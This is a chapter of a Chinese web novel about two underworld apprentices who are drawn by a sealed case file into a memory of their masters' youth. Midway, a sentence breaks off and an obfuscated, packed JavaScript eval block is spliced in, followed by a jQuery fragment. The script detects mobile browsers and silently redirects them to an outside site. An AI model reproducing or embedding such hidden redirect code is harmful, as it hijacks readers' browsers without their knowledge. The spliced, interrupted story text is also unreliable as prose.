47. 第47章 卷宗禁制

作品:《法界双生录

    酆都中枢,云雾相较于边缘平缓了许多,却依旧透着挥之不去的阴冷。


    两道年轻的光影——一身玄衣的范执与一身素白的谢昭,正朝着位于玄冥殿西侧的旧案卷宗库疾驰而去。


    “师父和师叔被调去无间地狱,这旧案便落在了你我肩上。”范执的声音带着几分少年人的沉稳,眼神却透着认真,“广王特意叮嘱,要我们仔细梳理当年荔城缉毒案的所有细节,不可遗漏分毫。”


    谢昭点头,白衣在云雾中轻扬,语气清亮,“师叔对这案子执念太深,我们定要好好查。只是我听说,当年的卷宗被列为密档,寻常人根本无权查阅。”


    “无妨。”范执抬手亮出一枚玄黑色令牌,令牌上刻着“秦”字,边缘还嵌着一丝淡淡的阴力纹路,“广王交代的,凭此令牌,可查阅卷宗库的所有密档。”


    说话间,两人已抵达旧案卷宗库前。


    这座库房通体由青灰色岩石砌成,没有门窗,仅在正前方有一道由阴力凝聚而成的光门,光门上流转着复杂的符文——这是酆都的守护禁制,专门防止闲杂人等窥探机密。


    范执上前一步,将令牌按在光门上。


    黑色令牌触碰到符文的瞬间,骤然亮起一道淡黑色的光晕,与光门上的符文交织相融。片刻后,光门缓缓消散,露出库房内部幽深的通道。


    “进去吧。”范执收回令牌,率先踏入通道。谢昭紧随其后,两人周身皆萦绕起一缕稀薄的阴力。


    卷宗库内部远比想象中广阔,无数排黑色书架绵延至深处,书架上整齐地摆放着泛黄的卷宗,每一卷都萦绕着淡淡的阴力,那是岁月与禁制沉淀的痕迹。空气中弥漫着纸张腐朽与阴力交织的特殊气味,安静得只能听到两人的脚步声与呼吸声。


    “荔城缉毒案……三千六百四十年前的案子,应该在西侧的密档区。”范执对照着令牌上浮现的指引符文,朝着库房深处走去。


    谢昭跟在他身旁,目光扫过书架上的卷宗标签,神色警惕,旧案卷宗库藏着许多凶险,有些卷宗本身就附着着罪魂的怨念,不可掉以轻心。


    两人穿过一排排书架,最终在西侧角落的一处书架前停下。


    书架最顶层,整齐地摆放着一叠标注着“荔城缉毒案·密档”的卷宗,卷宗封面已经泛黄,边缘甚至有些破损,透着陈旧的气息。


    “找到了。”范执抬手,指尖凝聚起一缕阴力,小心翼翼地将最上面的一卷卷宗取了下来。他刚触碰到卷宗的瞬间,便察觉到一股微弱的阻力,显然这卷宗上还附着着一层简易的禁制。


    “我来试试。”谢昭上前一步,指尖同样泛起一缕白色阴力,与范执的黑色阴力交织在一起,缓缓朝着卷宗上的禁制探去。两人师从范无咎与谢必安多年,修炼的阴力本就与之同源,此刻两人合力,阴力交融间竟形成了一股与范无咎、谢必安极为相似的本源气息。


    就在这股本源阴力刚触碰到卷宗禁制时,异变陡生!


    原本微弱的禁制突然爆发,卷宗封面骤然亮起一道刺目的金光,金光中浮现出无数复杂的符文,这些符文仿佛活了过来,迅速缠绕住范执与谢昭的阴力,紧接着猛地收缩,将两人的手腕紧紧缚住!


    “不好!”范执脸色一变,试图收回阴力,却发现那符文如同跗骨之蛆,死死缠着他的阴力,甚至顺着阴力朝着他的魂体蔓延而去。


    谢昭也察觉到了不对劲,周身阴力暴涨,试图挣脱束缚,可那符文的力量远超想象,不仅没被震散,反而牵引着两人朝着卷宗靠近,“这不是普通的守护禁制!像是……像是专门感应特定阴力的触发式禁制!”


    范执心中一动,瞬间反应过来,“是本源阴力!我们的阴力与师父同源。”


    话音未落,卷宗突然炸开,化作一团金色的光雾,光雾迅速扩散,将范执与谢昭彻底笼罩其中。


    两人只觉得眼前一黑,周身的阴力被完全压制,魂体仿佛被一股巨大的力量拉扯着,朝着无尽的黑暗坠落。


    “小白,抓紧我!”范执大喊一声,伸手抓住谢昭的手腕。


    谢昭紧紧回握,两人的身影在光雾中不断下沉,耳边的风声越来越响,仿佛穿越了时空的壁垒。不知过了多久,那股拉扯力骤然消失,两人的魂体重重地落在了一片坚硬的地面上。


    他们猛地睁开眼,眼前的景象让两人彻底愣住——没有阴雾缭绕的酆都,没有冰冷的岩石与卷宗,取而代之的是一条烟火气浓重的人间老街。


    街道两旁的路灯泛着暖黄的光,零星的商铺还亮着灯,空气中飘着饭菜的香气与淡淡的晚风,远处传来自行车铃铛的清脆声响。


    “这是……人间?”谢昭下意识地抬手,却发现自己的魂体竟变得凝实无比,周身的阴力也消失不见,仿佛真的置身于这片人间烟火之中。


    范执站起身,环顾四周,目光刚落在街角两个并肩而行的年轻身影上,街道尽头便传来一阵急促又踉跄的脚步声。


    一道身着淡绿旗袍的身影朝着这边狂奔而来,女人发髻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945958|191294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    散乱,眼角泛红,脸上还挂着未干的泪痕,声音嘶哑得几乎破音,“阿眠!阿寒!你们给我站住!”


    那两个并肩的年轻身影猛地顿住,缓缓转过身。


    范执与谢昭看清他们面容的瞬间,瞳孔骤然收缩——那两张脸,分明就是年轻时的范无咎与谢必安!


    彼时的范无咎,眉眼间还带着少年人的棱角,没有后来的沉凝戾气,却已透着一股执拗;谢必安则面带愧疚,眼神躲闪,不敢直视狂奔而来的女人。


    两人身上都背着简单的行囊,显然是准备远行。


    “妈……”谢必安轻声开口,声音带着不易察觉的颤抖。


    女人追到两人面前,一把抓住谢必安的胳膊,泪水再次涌了出来,声泪俱下,“你们怎么能这么傻!偷偷毕业就算了,还非要去当什么缉毒警,那是拿命去拼的活儿啊!我就你们两个孩子,你们要是出了什么事,我怎么办?”


    范无咎皱了皱眉,上前轻轻拉开女人的手,语气坚定却带着安抚,“妈,这是我们的选择。缉毒警是在保护更多人的家,我们不能退缩。”


    “不能退缩?”女人哭得更凶了,伸手捶了捶范无咎的胸口,“你们有没有想过我?爸爸已经离开我了,你们也要离开我吗......我守着这个家容易吗?阿眠身子本来就弱,你还要带着他去闯这种刀山火海!我不准!今天说什么都不准你们走!”


    谢必安的头垂得更低了,指尖紧紧攥着行囊的背带,指节泛白。


    范无咎沉默片刻,轻轻拍了拍女人的后背,声音放柔了许多,“妈,爸爸一定会支持我们的。我们已经报完到了,明天就要去队里集合。这是我们深思熟虑后的决定,对不起。”


    “报完到了……”女人愣住了,哭声渐渐止住,眼中满是绝望与无力,她看着眼前两个执意要走的孩子,嘴唇动了动,最终只化作一声沉重的叹息,“你们啊……怎么就这么不听话……”


    范执与谢昭僵在原地。


    这是师父与师叔当年偷偷报考缉毒警,被母亲追拦的画面。他们此刻就像两个无形的旁观者,被牢牢束缚在这尘封的回忆里,清晰地感受着那份亲情与理想的拉扯,却无法干预分毫。


    晚风拂过老街,带着几分凉意。


    赫寒扶着情绪低落的母亲,赫眠默默跟在身旁,三人的身影在暖黄的路灯下被拉得很长,渐渐朝着不远处的家走去。


    那画面温馨又带着沉重,藏着少年人未说出口的愧疚,与母亲无法阻拦的牵挂。